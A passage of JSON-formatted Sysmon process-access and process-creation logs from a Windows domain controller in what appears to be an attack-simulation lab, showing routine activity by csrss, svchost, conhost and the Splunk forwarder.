73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8351,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.572\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010D2721100}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.572","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010D2721100}","TargetProcessId":"3148","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8352,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010D2721100}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010D2721100}","TargetProcessId":"3148","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8353,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.621\r\nProcessGuid: {90617006-4354-5F2D-0000-0010EC751100}\r\nProcessId: 2664\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.621","ProcessGuid":"{90617006-4354-5F2D-0000-0010EC751100}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8354,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010EC751100}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010EC751100}","TargetProcessId":"2664","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8355,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010EC751100}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010EC751100}","TargetProcessId":"2664","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8356,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8357,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8358,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010EC751100}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010EC751100}","TargetProcessId":"2664","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8359,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPC